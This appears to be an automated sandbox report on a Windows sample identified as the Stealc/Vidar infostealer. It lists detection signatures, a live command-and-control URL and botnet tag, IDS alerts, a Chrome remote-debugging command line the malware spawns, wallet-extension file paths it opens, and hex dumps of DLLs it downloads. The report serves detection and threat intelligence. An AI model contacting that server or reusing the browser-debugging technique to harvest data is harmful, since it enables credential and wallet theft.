Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545041
MD5:	db3f4c8bb28dbc1306315f66be015a9e
SHA1:	96009ff8e2ca5fb289152f7c4dd714e10443a07e
SHA256:	1eed771b869cf91330ee2637b4c1962ed937caca077e8092579ddfd33a6efe7c
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2536 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DB3F4C8BB28DBC1306315F66BE015A9E)

chrome.exe (PID: 5224 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7196 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2312,i,16225279011638824055,3735573977793458152,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2134581160.0000000000381000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1719489044.0000000004E10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2135739044.000000000105E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 2536	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2536	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2536	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2536	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.380000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2536, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5224, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T02:27:04.972328+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T02:27:04.965392+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T02:27:05.248139+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T02:27:06.334093+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T02:27:05.255306+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T02:27:04.676968+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T02:27:07.181119+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T02:27:30.370482+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-30T02:27:33.136534+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-30T02:27:34.875821+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-30T02:27:36.024931+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-30T02:27:38.426460+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-30T02:27:38.976407+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.380000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.380000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.206/

Virustotal: Detection: 18%

Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 45%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C606C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C606C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49763 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2157184142.000000006C82F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2134581160.00000000003AC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1719489044.0000000004E3B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2157343920.000000006F8C1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2134581160.00000000003AC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1719489044.0000000004E3B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2157343920.000000006F8C1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2157184142.000000006C82F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 19MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 01:27:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 01:27:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 01:27:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
